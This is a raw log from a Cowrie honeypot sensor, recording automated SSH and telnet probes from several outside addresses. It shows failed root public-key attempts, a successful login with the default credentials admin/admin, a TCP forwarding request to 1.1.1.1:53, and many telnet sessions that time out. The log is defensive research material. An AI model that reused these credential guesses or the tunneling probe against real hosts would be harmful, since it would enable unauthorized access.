{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:ec:8f:93:d2:f1:9f:67:86:4a:8e:b6:b8:66:71:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNnmUKu2WusC0q+Y/ehG7EAYD9CGK8TGN5wo8jAfkJPTrkT1UPM/PzGWqnnEv+gexRxZI4ISNL/WIvhXXcpR0omznQHN1DjEoQnbS3sed7alwGFXof6L7ps79bLSDbzHvb0mBk+SmxyaO27+KonxgUbkc5F8bYrDC3iGCWAZmbcWgz+vmMQaVeVzPE4R96BU8OEdDepfOIJTWWNlSynipZCcrAHEn8gDaiyfKTRTWKBhZ7/GvhilovIuMA2jcOBe6pTJOzBbCXFOWShwl6OBpyIREEz/TLsFM5Q9+wrEXH0W6IoUBnVDr7hJypY0PrxBqfy1lg96l+Q7gBESfxnigd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:ec:8f:93:d2:f1:9f:67:86:4a:8e:b6:b8:66:71:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.125043Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:ec:8f:93:d2:f1:9f:67:86:4a:8e:b6:b8:66:71:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNnmUKu2WusC0q+Y/ehG7EAYD9CGK8TGN5wo8jAfkJPTrkT1UPM/PzGWqnnEv+gexRxZI4ISNL/WIvhXXcpR0omznQHN1DjEoQnbS3sed7alwGFXof6L7ps79bLSDbzHvb0mBk+SmxyaO27+KonxgUbkc5F8bYrDC3iGCWAZmbcWgz+vmMQaVeVzPE4R96BU8OEdDepfOIJTWWNlSynipZCcrAHEn8gDaiyfKTRTWKBhZ7/GvhilovIuMA2jcOBe6pTJOzBbCXFOWShwl6OBpyIREEz/TLsFM5Q9+wrEXH0W6IoUBnVDr7hJypY0PrxBqfy1lg96l+Q7gBESfxnigd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.129447Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:7f:39:20:0d:56:d0:d2:15:39:71:52:24:f6:e0:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw6oOknu1zekl4XNhTipuzYI5v8bPvlrfoGXxJPyIln+ceKv8ZAFTZ/dkgMlIkgAF4HXPfP0SmPWDf6wUT2rxlwr8nj04vWcrKOjXRqQhXDLc9bKEIF1BeqkqSn+gJOOL7WH7J0KzMrKhWvkHOvjfNHTV6Ed1CP6XatJxn7RLEGZYsqdfVqYT2rsE2M7fMHKcakkWSjtK1VyXx2xpyna8fD1rDKOM/fBLcvMLdVfXiYO+82SYrA3se3HlttoQBV9YHY78S9qdkpMGPA6hBSZQ5/P9z5P++sDk43x6HtEICJXacoGgSSWob4FCha4BSoYQZal3P8EWHhxIu0ARK+maB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:7f:39:20:0d:56:d0:d2:15:39:71:52:24:f6:e0:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.138007Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:7f:39:20:0d:56:d0:d2:15:39:71:52:24:f6:e0:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw6oOknu1zekl4XNhTipuzYI5v8bPvlrfoGXxJPyIln+ceKv8ZAFTZ/dkgMlIkgAF4HXPfP0SmPWDf6wUT2rxlwr8nj04vWcrKOjXRqQhXDLc9bKEIF1BeqkqSn+gJOOL7WH7J0KzMrKhWvkHOvjfNHTV6Ed1CP6XatJxn7RLEGZYsqdfVqYT2rsE2M7fMHKcakkWSjtK1VyXx2xpyna8fD1rDKOM/fBLcvMLdVfXiYO+82SYrA3se3HlttoQBV9YHY78S9qdkpMGPA6hBSZQ5/P9z5P++sDk43x6HtEICJXacoGgSSWob4FCha4BSoYQZal3P8EWHhxIu0ARK+maB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.141916Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:b4:04:68:24:32:1e:eb:af:cc:06:df:5f:da:11:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrjiaDZxYMmtwt7rL6swcPRnDWWEFoYIBW2RmZKF0JatGUK/zOMwCkPbqcH6FF+4igyBQfBicUXP31AtsjqtcF8ZTSGU8GnmJefjbTumQ9QBUgA8265+mBoaDfSgIkK7PGgijlNeoinC/FU7CaqQ4qDxPaQ6QzR3fgzR8aRDhNHGD/1us7lekCKOOLEwz6m1aBNl66C6j6tW/Catd5ps0Wjss0FjUGMp+LIW8LK9kGTaFaSFVGHgW4i+3ZMp7fIdouzGu1YmYaQjwzadvl7G3hei0uN5gmGgfgWfKL5sBwVbEQx+pWsb7Pi44oKtYBkNYGQX4eR/jUG5ALakf6cnu1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:b4:04:68:24:32:1e:eb:af:cc:06:df:5f:da:11:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.154205Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:b4:04:68:24:32:1e:eb:af:cc:06:df:5f:da:11:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrjiaDZxYMmtwt7rL6swcPRnDWWEFoYIBW2RmZKF0JatGUK/zOMwCkPbqcH6FF+4igyBQfBicUXP31AtsjqtcF8ZTSGU8GnmJefjbTumQ9QBUgA8265+mBoaDfSgIkK7PGgijlNeoinC/FU7CaqQ4qDxPaQ6QzR3fgzR8aRDhNHGD/1us7lekCKOOLEwz6m1aBNl66C6j6tW/Catd5ps0Wjss0FjUGMp+LIW8LK9kGTaFaSFVGHgW4i+3ZMp7fIdouzGu1YmYaQjwzadvl7G3hei0uN5gmGgfgWfKL5sBwVbEQx+pWsb7Pi44oKtYBkNYGQX4eR/jUG5ALakf6cnu1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.158078Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:1d:cb:c7:7e:55:09:d5:eb:91:44:6b:e7:d0:b5:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbLoK4ba424hcbWXlscU8T4VeZFmOt6itX1NNmC8mL+tV2FV/8zV4ZZQ8+DG2AXRmr1gHHoob7wLjkiGJp/rObyJ//HaCbnCPeNQqvglQHwCigzCRiMpNIHFrwL+SJ4SMCOHgHH8y6+NfJ4lcHsX/DvvN6fi1AEcDCBJt2avc6NjSJuiTYhfMx5Vryq/QGSsV8gpzD5+GXpxjIefWq3OpdfYvgf8vLBK5xnGy6zKkxtZ0PfS1Kx3KX2/YBSzhtUYiJAnVkZmqDqP1576jyKm8FWUD6Xj92k4h5FS9QAgr5jFd983x1V0YCh+Ccp5dGkJeCfoJs2YJLi0ABdG/7/aeH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:1d:cb:c7:7e:55:09:d5:eb:91:44:6b:e7:d0:b5:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.168109Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:1d:cb:c7:7e:55:09:d5:eb:91:44:6b:e7:d0:b5:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbLoK4ba424hcbWXlscU8T4VeZFmOt6itX1NNmC8mL+tV2FV/8zV4ZZQ8+DG2AXRmr1gHHoob7wLjkiGJp/rObyJ//HaCbnCPeNQqvglQHwCigzCRiMpNIHFrwL+SJ4SMCOHgHH8y6+NfJ4lcHsX/DvvN6fi1AEcDCBJt2avc6NjSJuiTYhfMx5Vryq/QGSsV8gpzD5+GXpxjIefWq3OpdfYvgf8vLBK5xnGy6zKkxtZ0PfS1Kx3KX2/YBSzhtUYiJAnVkZmqDqP1576jyKm8FWUD6Xj92k4h5FS9QAgr5jFd983x1V0YCh+Ccp5dGkJeCfoJs2YJLi0ABdG/7/aeH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.171843Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:47:5b:b3:b9:9e:b1:97:ce:bd:f2:42:a0:72:50:5d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPskqBTo6NpVvzhfPnw/hY4x5uzQShp+/x06puLsCtdQ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 06:47:5b:b3:b9:9e:b1:97:ce:bd:f2:42:a0:72:50:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.179432Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:47:5b:b3:b9:9e:b1:97:ce:bd:f2:42:a0:72:50:5d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPskqBTo6NpVvzhfPnw/hY4x5uzQShp+/x06puLsCtdQ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.183616Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.195023Z","src_ip":"198.98.52.145","session":"8a637821e0f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47992,"dst_ip":"10.17.0.5","dst_port":23,"session":"20207f1a435c","protocol":"telnet","message":"New connection: 74.208.13.194:47992 (10.17.0.5:23) [session: 20207f1a435c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:56.638827Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":56680,"dst_ip":"10.17.0.5","dst_port":23,"session":"b93b924d44ac","protocol":"telnet","message":"New connection: 74.208.13.194:56680 (10.17.0.5:23) [session: b93b924d44ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:57.728339Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":56696,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cca0741f507","protocol":"telnet","message":"New connection: 74.208.13.194:56696 (10.17.0.5:23) [session: 4cca0741f507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:57.943220Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":56704,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4bc90fad7ca","protocol":"telnet","message":"New connection: 74.208.13.194:56704 (10.17.0.5:23) [session: e4bc90fad7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:58.077548Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":56714,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dcf258ee905","protocol":"telnet","message":"New connection: 74.208.13.194:56714 (10.17.0.5:23) [session: 9dcf258ee905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:58.931458Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":56722,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e6f5a1b02a3","protocol":"telnet","message":"New connection: 74.208.13.194:56722 (10.17.0.5:23) [session: 6e6f5a1b02a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:33:59.376864Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20356,"dst_ip":"10.17.0.5","dst_port":22,"session":"b76feba50368","protocol":"ssh","message":"New connection: 87.251.64.176:20356 (10.17.0.5:22) [session: b76feba50368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:00.187917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:00.194883Z","src_ip":"87.251.64.176","session":"b76feba50368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:00.292567Z","src_ip":"87.251.64.176","session":"b76feba50368","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:00.585646Z","src_ip":"87.251.64.176","session":"b76feba50368","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:00.685762Z","session":"b76feba50368","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:00.784602Z","src_ip":"87.251.64.176","session":"b76feba50368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:00.886085Z","src_ip":"87.251.64.176","session":"b76feba50368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.12533211708069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:01.094522Z","src_ip":"74.208.13.194","session":"e0e7fce7cf67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":56738,"dst_ip":"10.17.0.5","dst_port":23,"session":"4938e86e349b","protocol":"telnet","message":"New connection: 74.208.13.194:56738 (10.17.0.5:23) [session: 4938e86e349b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:01.817781Z"}
{"eventid":"cowrie.session.closed","duration":30.5954647064209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:02.067581Z","src_ip":"74.208.13.194","session":"10ff08f96568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09252691268921,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:04.912475Z","src_ip":"74.208.13.194","session":"57a0c581a76a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":56754,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc3d04357117","protocol":"telnet","message":"New connection: 74.208.13.194:56754 (10.17.0.5:23) [session: dc3d04357117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:05.083427Z"}
{"eventid":"cowrie.session.closed","duration":31.478421449661255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:05.786168Z","src_ip":"74.208.13.194","session":"7b77570e36f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5305233001709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:06.632389Z","src_ip":"74.208.13.194","session":"df0d9822b039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.402971744537354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:07.103631Z","src_ip":"74.208.13.194","session":"7934060288d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":39666,"dst_ip":"10.17.0.5","dst_port":23,"session":"606bfefb447b","protocol":"telnet","message":"New connection: 74.208.13.194:39666 (10.17.0.5:23) [session: 606bfefb447b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:09.131581Z"}
{"eventid":"cowrie.session.closed","duration":31.002082109451294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:09.214896Z","src_ip":"74.208.13.194","session":"84ad88d4ed74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.97961163520813,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:09.524942Z","src_ip":"152.42.224.71","session":"0df2f52942a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40204,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8141e44f656","protocol":"telnet","message":"New connection: 152.42.224.71:40204 (10.17.0.5:23) [session: b8141e44f656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:09.653636Z"}
{"eventid":"cowrie.session.closed","duration":30.507458448410034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:10.217920Z","src_ip":"74.208.13.194","session":"777f4261ce31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62087059020996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:10.353054Z","src_ip":"74.208.13.194","session":"3b79c94fb536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.427350282669067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:10.764325Z","src_ip":"74.208.13.194","session":"7e73d636da81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":39672,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bcb9507fd0c","protocol":"telnet","message":"New connection: 74.208.13.194:39672 (10.17.0.5:23) [session: 6bcb9507fd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:12.159607Z"}
{"eventid":"cowrie.session.closed","duration":31.219301462173462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:12.281926Z","src_ip":"74.208.13.194","session":"c278d527deec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40216,"dst_ip":"10.17.0.5","dst_port":23,"session":"386953de662b","protocol":"telnet","message":"New connection: 152.42.224.71:40216 (10.17.0.5:23) [session: 386953de662b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:12.741718Z"}
{"eventid":"cowrie.session.closed","duration":31.44878625869751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:12.746505Z","src_ip":"74.208.13.194","session":"dc5430a8fccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287397384643555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:15.005574Z","src_ip":"74.208.13.194","session":"f21837119451","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10188889503479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:15.492845Z","src_ip":"74.208.13.194","session":"6a8329ca2bd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663039445877075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:16.315377Z","src_ip":"74.208.13.194","session":"06f7e159d698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":39680,"dst_ip":"10.17.0.5","dst_port":23,"session":"3007f4bc1629","protocol":"telnet","message":"New connection: 74.208.13.194:39680 (10.17.0.5:23) [session: 3007f4bc1629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:16.366417Z"}
{"eventid":"cowrie.session.closed","duration":31.10618257522583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:16.494449Z","src_ip":"74.208.13.194","session":"5ce20a00e15b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098525524139404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:17.303350Z","src_ip":"74.208.13.194","session":"3075773c9cd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80797529220581,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:17.692013Z","src_ip":"74.208.13.194","session":"87ac4e295131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":40236,"dst_ip":"10.17.0.5","dst_port":23,"session":"e730e76274fe","protocol":"telnet","message":"New connection: 74.208.13.194:40236 (10.17.0.5:23) [session: e730e76274fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:18.553731Z"}
{"eventid":"cowrie.session.closed","duration":30.70124053955078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:20.401108Z","src_ip":"74.208.13.194","session":"563401205dcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727463483810425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:21.121715Z","src_ip":"74.208.13.194","session":"ee7b093f0c44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":40238,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a2b005b1ffd","protocol":"telnet","message":"New connection: 74.208.13.194:40238 (10.17.0.5:23) [session: 2a2b005b1ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:21.388669Z"}
{"eventid":"cowrie.session.closed","duration":31.13160228729248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:21.707139Z","src_ip":"74.208.13.194","session":"06e8faeae566","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":40254,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d86f5d18cdb","protocol":"telnet","message":"New connection: 74.208.13.194:40254 (10.17.0.5:23) [session: 8d86f5d18cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:22.022251Z"}
